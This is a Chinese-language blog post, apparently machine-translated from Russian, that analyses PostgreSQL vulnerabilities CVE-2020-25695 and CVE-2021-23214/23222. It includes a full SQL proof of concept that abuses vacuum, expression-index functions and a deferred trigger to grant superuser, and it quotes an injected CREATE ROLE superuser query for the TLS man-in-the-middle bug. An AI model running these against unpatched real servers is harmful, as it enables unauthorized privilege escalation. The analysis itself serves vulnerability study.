postgresql实战笔记(有趣的PostgreSQL漏洞)

有趣的PostgreSQL漏洞

postgresql实战笔记(有趣的PostgreSQL漏洞)(1)

PostgreSQL每年都会发布几次带有几个漏洞的新版本。通常,漏洞允许您将非特权用户变成超级用户。在Postgres中,一切都很简单——我们在更新发布时安装补丁。但是许多分叉仍然很脆弱。我分析了几个有趣的PostgreSQL漏洞寻找有趣的漏洞,并在那里发现了很多有趣的东西。

有趣的PostgreSQL漏洞分析

一般来说,Postgres有一堆分叉。可能所有这些都容易受到本文中列出的所有内容的影响。

似乎史诗般的漏洞是最好不要使用的“筛子”的明确标志。这不是真的。所有历史漏洞的公开发布是防止零日被扫地出门的原因。

好吧,让我们进入正题。使用未打补丁的Postgres可以做什么?

PostgreSQL漏洞 CVE-2020-25695

漏洞CVE-2020-25695 影响 13.0、12.4、11.10、10.15和其他现已达到 EOL 的主要版本。总分8.8。该漏洞还利用了许多重要功能的组合。但是,对于脚本小子来说,利用是好的——只需启动一个 SQL 查询就可以了,无需摆弄欺骗、编写代码或类似的东西。

PostgreSQL的致命弱点是真空化过程,即 VACUUM。它删除了新事务不需要查看的数据版本。有时它由系统管理员或cron代表系统管理员启动。有时它会自行启动 - 当很多行已被删除或更新时。在这种情况下,它被称为autovacuum。它以超级用户身份运行。

我想在真空中添加一些代码,以便它以超级用户身份运行,对吧?Postgres开发人员当然已经想到了这一点。在清理特定表时,执行上下文切换到表的所有者。如果我们归档了我们的表格–

postgresql实战笔记(有趣的PostgreSQL漏洞)(2)

它是这样工作的。

/* Switch to the table owner's userid... */

SetUserIdAndSecContext(onerel->rd_rel->relowner,

save_sec_context | SECURITY_RESTRICTED_OPERATION);

// Вакуумизируемнавседеньги

/* Restore userid and security context */

SetUserIdAndSecContext(save_userid, save_sec_context);

CommitTransactionCommand();

事实证明,我们需要将真空化期间的黑客攻击推迟到交易结束。因为在提交之前,我们在一个不够酷的上下文中运行。这个问题的解决方案非常简单:您可以创建一个DEFFERED触发器,该触发器将在提交时执行

/* create a CONSTRAINT TRIGGER, which is deferred

deferred causes it to trigger on commit, by which time the user has been switched back to the

invoking user, rather than the owner

*/

CREATE CONSTRAINT TRIGGER def

AFTER INSERT ON t0

INITIALLY DEFERRED

FOR EACH ROW

EXECUTE PROCEDURE strig();

我们如何让这个触发器在真空期间触发?要做到这一点,你需要真空来插入数据,它会删除它们......你只需要让一个表的真空插入数据到另一个!

真空中调用了哪些函数?表达式索引函数。

CREATE TABLE t0 (s varchar);

CREATE TABLE t1 (s varchar);

CREATE TABLE exp (a int, b int);

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer

LANGUAGE sql IMMUTABLE AS

'SELECT $1'; --Присозданиииндексаповыражениюфункциядолжнабыть IMMUTABLE, тоестьБЕСПОЛЕЗНА

CREATE INDEX indy ON exp (sfunc(a));

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer

LANGUAGE sql SECURITY INVOKER AS

'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; --Заменимфункциюмутабельной

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer

LANGUAGE sql SECURITY INVOKER AS

'ALTER USER foo SUPERUSER; SELECT $1'; --Функция, вызываемаяиз DEFFERED триггера

CREATE OR REPLACE FUNCTION strig() RETURNS trigger

AS $e$ BEGIN

PERFORM fooz.public.snfunc(1000); RETURN NEW;

END $e$

LANGUAGE plpgsql; --Функциятриггера

CREATE CONSTRAINT TRIGGER def

AFTER INSERT ON t0

INITIALLY DEFERRED FOR EACH ROW

EXECUTE PROCEDURE strig();

ANALYZE exp;

INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);

DELETE FROM exp;

INSERT INTO exp VALUES (1,1);

ALTER TABLE exp SET (autovacuum_vacuum_threshold= 1);

ALTER TABLE exp SET (autovacuum_analyze_threshold= 1);

这里 Vacuum exp调用sfunc ( )将数据插入到t0中。然后, t0上的触发器在事务结束时使用根上下文调用string ( ) ,而根上下文又调用snfunc ( )。他将超级用户授予攻击者。要利用此漏洞,您需要能够创建表和索引。

postgresql实战笔记(有趣的PostgreSQL漏洞)(3)

PostgreSQL漏洞 CVE-2021-23214

漏洞CVE-2021-23214 影响 14.0、13.4、12.8、11.13、10.18。总分8.1。所有的连接池——PgBouncer、PgPool II 和 Odyssey——也很脆弱。

TLDR:如果使用使用 TLS 证书的客户端身份验证并且存在 MITM,则可以将请求的执行添加到连接的开头。

postgres通信协议是基于消息的,每条消息以 4 个字节开始,其中包含有关消息大小的信息。然后是指定数据包类型的一个字节。剩余空间可能由特定于数据包的数据占用。

一个普通的服务器首先会向客户端发送一条启动消息,其中包含切换到 TLS 加密的建议,获得客户端的同意,将套接字传递给OpenSSL库,并且已经从它那里接收到一个安全的通信通道,它将在其中认证。

在PostgreSQL中有不同的认证方式。例如,通过明文密码。但它在各方面都令人毛骨悚然。您可以使用 MD5 身份验证:服务器将发送 salt,客户端将重新哈希密码、自身和 salt,然后将其发送到服务器。但同时,通过 hack 数据库并读取pg_authid视图,您可以获得足够的数据以与任何其他具有 MD5 身份验证的用户一起进入数据库。

您可以使用SCRAM-SHA-256方案,而破解数据库将不允许您使用收到的机密。即使使用被盗数据进入同一个数据库也行不通。

或者您通常可以“将责任委托给英镑”——使用带有 TLS 证书的身份验证。在这种情况下,当建立 TLS 连接时,证书的 Common Name 将与用户名进行比较。如果它们匹配,则客户端具有由受信任中心颁发的证书。这种方法有很多优点:例如,轮换机密不再是 DBA 问题。如果旧证书已损坏,请让客户弄清楚从哪里获得有效证书。

postgresql实战笔记(有趣的PostgreSQL漏洞)(4)

如果整个数据库被盗,则根本无法从中获取任何身份验证数据。证书验证是由真正的密码焊工编写的,它只需要获取他们的代码。但有一个细微差别。

PostgreSQL有相当小的包。例如,ReadyForQuery包是 6 个字节。要从套接字读取,需要进行系统调用——这需要很长时间。因此,Postgres和所有的 puller 都会读取保留的数据。有些人称之为缓冲,有些人称之为预读。从预读缓冲区中,字节已经进入解析数据包。预读缓冲区直接从网络套接字或加密连接上的 TLS 流填充。但是在更改未加密连接的那一刻,它发生了……但什么也没有发生。

在OpenSSL中,传递的不是预读缓冲区,而是网络连接本身。那些未加密的字节仍然像被读取一样。就像从加密连接中接收一样。中间人可以通过在启动消息后添加一个SimpleQuery消息来利用这一点,并使用一个简单的查询:

"CREATE ROLE x4m WITH LOGIN SUPERUSER PASSWORD 'imahacker';"

当OpenSSL身份验证成功后,服务器将继续从预读缓冲区中读取消息并执行SimpleQuery,就好像它来自用户一样。

postgresql实战笔记(有趣的PostgreSQL漏洞)(5)

CVE-2021-23214 漏洞的工作原理

此漏洞还有一个对称客户端CVE-2021-23222:MITM 可以对第一个客户端请求做出响应,而不是服务器实际所说的。但是利用这个漏洞需要大量的客户端应用程序代码知识。例如,像这样的东西。

postgresql实战笔记(有趣的PostgreSQL漏洞)(6)

CVE-2021-23222 漏洞的工作原理

在Postgres中,修复客户端和服务器漏洞不仅包括在启动数据包后刷新缓冲区,还包括写入有关尝试使用 TLS 作弊的日志。在当前版本中,漏洞利用尝试不会被忽视,并且可能会唤醒安全监视器。我在 Odyssey 中对这些漏洞的修复如下所示。顺便说一下,在 Odyssey 中,它们以不同的编号为人所知:CVE-2021-43766 和 CVE-2021-43767。

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页